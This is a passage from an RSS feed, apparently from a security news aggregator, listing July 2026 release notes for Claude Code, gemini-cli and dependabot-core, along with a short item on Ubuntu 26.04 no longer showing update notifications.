<li>keep script stats timestamps ordered (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4931608521" data-permission-text="Title is private" data-url="https://github.com/greenbone/openvas-scanner/issues/2290" data-hovercard-type="pull_request" data-hovercard-url="/greenbone/openvas-scanner/pull/2290/hovercard" href="https://github.com/greenbone/openvas-scanner/pull/2290">#2290</a>) <a href="https://github.com/greenbone/openvas-scanner/commit/99720b20">99720b20</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.218]]></title>
<description><![CDATA[What's changed

Changed /code-review to run as a background subagent, so review work no longer fills your conversation and keeps stacked slash commands as its review target
Added screen-reader announcements of deleted text for word and line deletions (Option+Delete, Ctrl+W, Cmd+Backspace, Ctrl+U,...]]></description>
<link>https://tsecurity.de/de/3687638/downloads/v21218/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687638/downloads/v21218/</guid>
<pubDate>Wed, 22 Jul 2026 23:32:59 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Changed <code>/code-review</code> to run as a background subagent, so review work no longer fills your conversation and keeps stacked slash commands as its review target</li>
<li>Added screen-reader announcements of deleted text for word and line deletions (<code>Option+Delete</code>, <code>Ctrl+W</code>, <code>Cmd+Backspace</code>, <code>Ctrl+U</code>, <code>Ctrl+K</code>) in <code>--ax-screen-reader</code> mode</li>
<li>Fixed Windows paths with <code>\u</code>-prefixed segments (like <code>C:\Users\unicorn</code>) being corrupted into CJK characters in tool inputs, which made those files inaccessible</li>
<li>Fixed the left arrow key discarding the conversation with no undo: presses right after editing now ask to confirm, and Esc in the agent view returns to the conversation it backgrounded</li>
<li>Added HTTP status and error text to <code>claude mcp list</code> and <code>/mcp</code> when a server fails to connect, and a warning for MCP config values with hidden leading or trailing whitespace</li>
<li>Fixed multi-line paste collapsing into one line with <code>j</code> in place of newlines in terminals that encode pasted newlines as Ctrl+J</li>
<li>Fixed <code>/context</code> reporting stale pre-compact token usage after compacting from the message picker</li>
<li>Fixed <code>/ultrareview</code> failing on descriptive arguments like "review my auth changes" — they now run a review of your current branch with the text applied as a note to the findings</li>
<li>Fixed <code>/code-review ultra</code> silently running a local review in non-interactive sessions — it now launches the cloud review</li>
<li>Fixed gateway spend metering to price Bedrock application-inference-profile ARNs and other config-mapped upstream model IDs at the configured model's rates</li>
<li>Fixed mojibake when a long IDE selection was truncated mid-emoji, and a case where a tool executor error could be silently dropped</li>
<li>Fixed an engine teardown race that could start and abandon a phantom turn, and made input pushed after close consistently rejected</li>
<li>Fixed spurious "[Request interrupted by user]" messages after interrupted tool calls, and an unpaired <code>tool_use</code> block left in the transcript when a tool aborted mid-response</li>
<li>Fixed VoiceOver reading "new line" instead of echoing the typed space at the end of the input in <code>--ax-screen-reader</code> mode</li>
<li>Fixed plugin and settings panels not moving the terminal cursor to the focused row, so screen readers and magnifiers can follow arrow-key navigation</li>
<li>Fixed crashes (maximum call stack exceeded) when a deeply nested watched directory tree was deleted or moved, and when rendering deeply nested UI trees</li>
<li>Fixed pull request events occasionally being lost when a session exited immediately after creating or linking a PR</li>
<li>Fixed the Bedrock setup wizard failing profile verification for assume-role profiles in partitioned AWS regions and on proxy-only networks</li>
<li>Fixed rare negative or incorrect turn duration measurements after a system clock adjustment by timing turns with a monotonic clock</li>
<li>Fixed the "N MCP servers need authentication" startup notice over-counting claude.ai connectors that aren't connected in claude.ai</li>
<li>Fixed prompt history entries being dropped or duplicated when history writes raced or failed</li>
<li>Fixed a retry loop that re-sent identical doomed requests after a context-overflow error with a large thinking budget; <code>Ctrl+B</code> backgrounding now applies the same background-shell caps as other paths</li>
<li>Fixed agent frontmatter hooks running from untrusted folders: hooks now require the agent file's own folder to have accepted workspace trust</li>
<li>Fixed fork-session lineage being lost after compaction in headless and SDK sessions</li>
<li>Fixed a resumed session failing every turn, or crashing on resume, when its history held a malformed delta attachment</li>
<li>Improved <code>/ultrareview</code> error feedback so Claude can correct an invalid argument instead of retrying it unchanged</li>
<li>Improved auto mode: the dangerous-rm, background-<code>&amp;</code>, and suspicious-Windows-path checks no longer open permission dialogs; the auto-mode classifier adjudicates them instead</li>
<li>Improved sandbox command restrictions for IDE interactions</li>
<li>Improved trust dialogs to name the repository root the grant covers</li>
<li>Changed <code>/deep-research</code> to start only when invoked manually; Claude no longer launches it on its own</li>
<li>Changed plan mode with auto to no longer prompt for Bash commands the static analyzer can't prove read-only; the auto-mode classifier judges them instead</li>
<li>Added an announcement when fast mode changes as a result of switching models via <code>/config model=&lt;x&gt;</code> or Remote Control</li>
<li>Changed server-managed settings so benign feature and cost toggles no longer trigger the settings-approval prompt</li>
<li>Changed agent markdown files to reject agent names containing <code>:</code>, which is reserved for plugin namespacing</li>
<li>Changed skills with <code>context: fork</code> to run in the background by default; opt out per skill with <code>background: false</code></li>
<li>Added <code>yes</code>/<code>no</code>/<code>on</code>/<code>off</code>/<code>1</code>/<code>0</code> (case-insensitive) as accepted values for skill and plugin frontmatter booleans, alongside <code>true</code>/<code>false</code></li>
<li>Fixed remote sessions continuing to send heartbeats after their worker was replaced, which left long-lived desktop and IDE processes retrying a rejected request every few seconds forever</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Here’s why your Ubuntu 26.04 install is quiet about updates]]></title>
<description><![CDATA[If Ubuntu 26.04 LTS hasn’t nagged you about pending updates in a while, there’s a reason for that. A Launchpad bug report and related discussion on the Ubuntu Discourse noticed that the distro’s update-manager no longer notifies when updates are pending unless the update notification tray icon is...]]></description>
<link>https://tsecurity.de/de/3687637/linux-tipps/heres-why-your-ubuntu-2604-install-is-quiet-about-updates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687637/linux-tipps/heres-why-your-ubuntu-2604-install-is-quiet-about-updates/</guid>
<pubDate>Wed, 22 Jul 2026 23:31:19 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="406" height="232" src="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2025/08/ubuntu-logo.jpg?resize=406%2C232&amp;ssl=1" class="attachment-post-list size-post-list wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2025/08/ubuntu-logo.jpg?resize=350%2C200&amp;ssl=1 350w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2025/08/ubuntu-logo.jpg?resize=406%2C232&amp;ssl=1 406w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2025/08/ubuntu-logo.jpg?resize=840%2C480&amp;ssl=1 840w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2025/08/ubuntu-logo.jpg?zoom=3&amp;resize=406%2C232&amp;ssl=1 1218w" sizes="(max-width: 406px) 100vw, 406px">If Ubuntu 26.04 LTS hasn’t nagged you about pending updates in a while, there’s a reason for that. A Launchpad bug report and related discussion on the Ubuntu Discourse noticed that the distro’s update-manager no longer notifies when updates are pending unless the update notification tray icon is enabled. The rub? That tray icon as turned off in Ubuntu 26.04 (with no toggle in Settings to turn it back on). This is not as “risky” as it might sound, though. Ubuntu ships with unattended-upgrades enabled by default, which installs security updates in the background – you’re just not told about […]</p>
<p>You're reading <a href="https://www.omgubuntu.co.uk/2026/07/ubuntu-26-04-update-notifications-disabled">Here’s why your Ubuntu 26.04 install is quiet about updates</a>, a blog post from <a href="https://www.omgubuntu.co.uk/">OMG! Ubuntu</a>. Do not reproduce elsewhere without permission.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.52.0]]></title>
<description><![CDATA[What's Changed

Refactor: exclude transient CI configuration files from workspace context by @DavidAPierce in #28216
feat(caretaker-triage): add triage worker core foundational modules by @chadd28 in #28163
feat(caretaker-egress): implement octokit github action handler for egress service by @cha...]]></description>
<link>https://tsecurity.de/de/3687569/downloads/release-v0520/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687569/downloads/release-v0520/</guid>
<pubDate>Wed, 22 Jul 2026 22:53:01 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Refactor: exclude transient CI configuration files from workspace context by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4771753114" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28216" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28216/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28216">#28216</a></li>
<li>feat(caretaker-triage): add triage worker core foundational modules by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753861958" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28163" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28163/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28163">#28163</a></li>
<li>feat(caretaker-egress): implement octokit github action handler for egress service by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830419267" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28303" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28303/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28303">#28303</a></li>
<li>chore(release): bump version to 0.52.0-nightly.20260707.g27a3da3e8 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840274631" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28323" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28323/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28323">#28323</a></li>
<li>Changelog for v0.51.0-preview.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4839873704" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28320" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28320/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28320">#28320</a></li>
<li>Changelog for v0.50.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840167585" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28322" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28322/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28322">#28322</a></li>
<li>fix(core-tools): bypass LLM correction for JSON and IPYNB files in write_file and replace by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4780686006" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28223" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28223/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28223">#28223</a></li>
<li>fix(core): use unambiguous previous intent label in fallback summary by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848950194" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28343" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28343/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28343">#28343</a></li>
<li>feat(caretaker-triage): implement main worker execution loop and egress action publisher by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832842460" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28306" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28306/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28306">#28306</a></li>
<li>fix(privacy): show a clear message when the account has no Code Assist tier by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ompatel-aiml/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ompatel-aiml">@ompatel-aiml</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830501064" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28304" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28304/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28304">#28304</a></li>
<li>fix(core): enrich shared project quota limit errors with setup hint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4875463769" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28391" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28391/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28391">#28391</a></li>
<li>fix(a2a-server): ensure task cancellation aborts execution loop by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4838860348" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28316" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28316/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28316">#28316</a></li>
<li>fix(core): simplify plan mode write policy to support relative paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4876823809" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28398" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28398/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28398">#28398</a></li>
<li>feat(core): Bump node google-auth-library version to 10.9.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jerrylin3321/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jerrylin3321">@jerrylin3321</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4869745101" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28385" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28385/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28385">#28385</a></li>
<li>chore/release: bump version to 0.52.0-nightly.20260715.gfa975395b by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4888459983" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28402" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28402/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28402">#28402</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.51.0...v0.52.0"><tt>v0.51.0...v0.52.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.53.0-preview.0]]></title>
<description><![CDATA[What's Changed

fix(core,a2a): group cancelled tool responses and coalesce consecutive roles to prevent 400 Bad Request by @luisfelipe-alt in #28407
feat(caretaker-triage): implement LLM triage orchestrator and container build by @chadd28 in #28345
refactor(cli): align macOS permissive Seatbelt p...]]></description>
<link>https://tsecurity.de/de/3687525/downloads/release-v0530-preview0/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687525/downloads/release-v0530-preview0/</guid>
<pubDate>Wed, 22 Jul 2026 22:25:44 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>fix(core,a2a): group cancelled tool responses and coalesce consecutive roles to prevent 400 Bad Request by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4893271589" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28407" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28407/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28407">#28407</a></li>
<li>feat(caretaker-triage): implement LLM triage orchestrator and container build by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4850788084" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28345" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28345/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28345">#28345</a></li>
<li>refactor(cli): align macOS permissive Seatbelt profiles with deny-default model by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ompatel-aiml/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ompatel-aiml">@ompatel-aiml</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4905648856" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28424" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28424/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28424">#28424</a></li>
<li>fix(core): mitigate infinite ReAct loops and prompt injection loops by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4913591703" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28429" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28429/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28429">#28429</a></li>
<li>fix(a2a-server): enforce workspace trust and task isolation to prevent RCE by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933898579" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28470" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28470/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28470">#28470</a></li>
<li>fix(core): sequentially verify cached credentials and restore GOOGLE_APPLICATION_CREDENTIALS fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4935978236" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28472" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28472/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28472">#28472</a></li>
<li>feat(evals): add eval coverage report command by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ved015/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ved015">@ved015</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4756850004" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28169" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28169/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28169">#28169</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.52.0-preview.0...v0.53.0-preview.0"><tt>v0.52.0-preview.0...v0.53.0-preview.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.388.0]]></title>
<description><![CDATA[What's Changed

Type GitHub release metadata by @JamieMagee in #15597
Make GitCommitChecker strongly typed by @JamieMagee in #15598
Retry corepack prepare and install on signature metadata errors from private registries by @kbukum1 in #15606
Fix UV DependencyGrapher to detect nested uv.lock in mo...]]></description>
<link>https://tsecurity.de/de/3687473/it-security-tools/v03880/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687473/it-security-tools/v03880/</guid>
<pubDate>Wed, 22 Jul 2026 21:50:45 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Type GitHub release metadata by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4898805987" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15597" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15597/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15597">#15597</a></li>
<li>Make GitCommitChecker strongly typed by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4898867087" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15598" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15598/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15598">#15598</a></li>
<li>Retry corepack prepare and install on signature metadata errors from private registries by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kbukum1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kbukum1">@kbukum1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4906386828" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15606" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15606/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15606">#15606</a></li>
<li>Fix UV DependencyGrapher to detect nested uv.lock in monorepos by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> with @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4829227276" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15520" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15520/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15520">#15520</a></li>
<li>Bump library/rust from 1.95.0-bookworm to 1.97.0-bookworm in /cargo by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4867732478" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15560" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15560/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15560">#15560</a></li>
<li>Bump @sigstore/core from 3.1.0 to 3.2.1 in /npm_and_yarn/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4777697783" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15455" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15455/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15455">#15455</a></li>
<li>Bump maven from 3.9.14 to 3.9.16 in /maven by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512163697" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15127" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15127/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15127">#15127</a></li>
<li>Support Bundler source cooldown in Dependabot cooldown flow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robaiken/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robaiken">@robaiken</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4828748840" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15517" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15517/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15517">#15517</a></li>
<li>Type shared release metadata by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4907898455" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15607" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15607/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15607">#15607</a></li>
<li>Make Job strongly typed by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4908469606" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15608" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15608/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15608">#15608</a></li>
<li>Type Job wire models by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4908664062" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15610" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15610/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15610">#15610</a></li>
